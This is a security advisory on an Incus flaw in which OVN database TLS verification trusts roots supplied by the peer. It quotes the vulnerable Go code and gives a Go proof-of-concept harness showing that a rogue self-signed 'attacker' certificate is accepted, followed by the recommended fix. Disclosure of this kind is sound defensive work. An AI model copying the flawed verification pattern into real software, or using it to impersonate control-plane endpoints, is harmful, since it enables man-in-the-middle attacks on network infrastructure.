Incus has an OVN TLS Verification that Accepts Peer-Supplied Roots

In clustered OVN-backed Incus deployments, this flaw reduces CA-anchored authentication of OVN database connections to endpoint impersonation for an attacker with a suitable position on the management or control-plane network. This is especially significant because OVN northbound and southbound databases are the authoritative control-plane interfaces for logical network configuration, translation, and distribution to hypervisors and gateways. As a result, the issue is best understood as a control-plane authentication failure with potentially broad networking impact, not merely as generic TLS misconfiguration.

Affected Files: https://github.com/lxc/incus/blob/v6.22.0/internal/server/network/ovn/ovn_nb.go https://github.com/lxc/incus/blob/v6.22.0/internal/server/network/ovn/ovn_sb.go https://github.com/lxc/incus/blob/v6.22.0/internal/server/network/ovn/ovn_icnb.go https://github.com/lxc/incus/blob/v6.22.0/internal/server/network/ovn/ovn_icsb.go

Affected Code:

func NewNB(dbAddr string, sslCACert string, sslClientCert string, sslClientKey string) (*NB, error) {
    [...]
    if strings.Contains(dbAddr, "ssl:") {
        [...]
        tlsConfig := &tls.Config{
            Certificates:       []tls.Certificate{clientCert},
            InsecureSkipVerify: true,
        }

        if sslCACert != "" {
            [...]
            tlsCAcert, err := x509.ParseCertificate(tlsCAder.Bytes)
            if err != nil {
                return nil, err
            }

            tlsCAcert.IsCA = true
            tlsCAcert.KeyUsage = x509.KeyUsageCertSign

            clientCAPool := x509.NewCertPool()
            clientCAPool.AddCert(tlsCAcert)

            tlsConfig.VerifyPeerCertificate = func(rawCerts [][]byte, chains [][]*x509.Certificate) error {
                if len(rawCerts) < 1 {
                    return errors.New("Missing server certificate")
                }

                roots := x509.NewCertPool()
                for _, rawCert := range rawCerts {
                    cert, _ := x509.ParseCertificate(rawCert)
                    if cert != nil {
                        roots.AddCert(cert)
                    }
                }

                cert, _ := x509.ParseCertificate(rawCerts[0])
                if cert == nil {
                    return errors.New("Bad server certificate")
                }

                opts := x509.VerifyOptions{
                    Roots: roots,
                }

                _, err := cert.Verify(opts)
                return err
            }
        }

        options = append(options, ovsdbClient.WithTLSConfig(tlsConfig))
    }
    [...]
}

The same verification pattern is duplicated in the other affected files listed above.

Verification-Logic Proof of Concept

Because the vulnerability resides entirely in the certificate-verification logic, it can be demonstrated in isolation without a live interception lab. The following Go harness reproduces the effective OVN client verification logic, generates a rogue self-signed certificate, and demonstrates that the implemented trust decision accepts peer-supplied roots instead of the configured CA pool.

Commands:

cat <<'EOF' > poc_ovn_tls_roots.go
package main

import (
    "crypto/ed25519"
    "crypto/rand"
    "crypto/x509"
    "crypto/x509/pkix"
    "fmt"
    "math/big"
    "time"
)

func main() {
    pub, priv, _ := ed25519.GenerateKey(rand.Reader)

    template := x509.Certificate{
        SerialNumber: big.NewInt(1),
        Subject: pkix.Name{
            Organization: []string{"Attacker Corp MITM"},
        },
        NotBefore:             time.Now(),
        NotAfter:              time.Now().Add(time.Hour),
        KeyUsage:              x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign,
        ExtKeyUsage:           []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
        BasicConstraintsValid: true,
        IsCA:                  true,
    }

    rogueCertBytes, _ := x509.CreateCertificate(rand.Reader, &template, &template, pub, priv)

    verifyPeerCertificate := func(rawCerts [][]byte) error {
        if len(rawCerts) < 1 {
            return fmt.Errorf("missing server certificate")
        }

        roots := x509.NewCertPool()
        for _, rawCert := range rawCerts {
            cert, _ := x509.ParseCertificate(rawCert)
            if cert != nil {
                roots.AddCert(cert)
            }
        }

        cert, _ := x509.ParseCertificate(rawCerts[0])
        if cert == nil {
            return fmt.Errorf("bad server certificate")
        }

        opts := x509.VerifyOptions{
            Roots: roots,
        }

        _, err := cert.Verify(opts)
        return err
    }

    err := verifyPeerCertificate([][]byte{rogueCertBytes})
    if err == nil {
        fmt.Println("[!] VULNERABLE: The reproduced OVN client verification logic accepted the rogue attacker certificate.")
    } else {
        fmt.Printf("Safe: Rejected with error: %v\n", err)
    }
}
EOF

go run poc_ovn_tls_roots.go

Result:

[!] VULNERABLE: The reproduced OVN client verification logic accepted the rogue attacker certificate.

It is recommended to verify peer certificates against the configured CA pool rather than against roots synthesized from untrusted peer input. The safest fix is to remove the custom VerifyPeerCertificate logic and rely on Go standard TLS verification with tls.Config.RootCAs set to the configured CA pool and, where applicable, ServerName set appropriately for identity validation.

Credit

This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)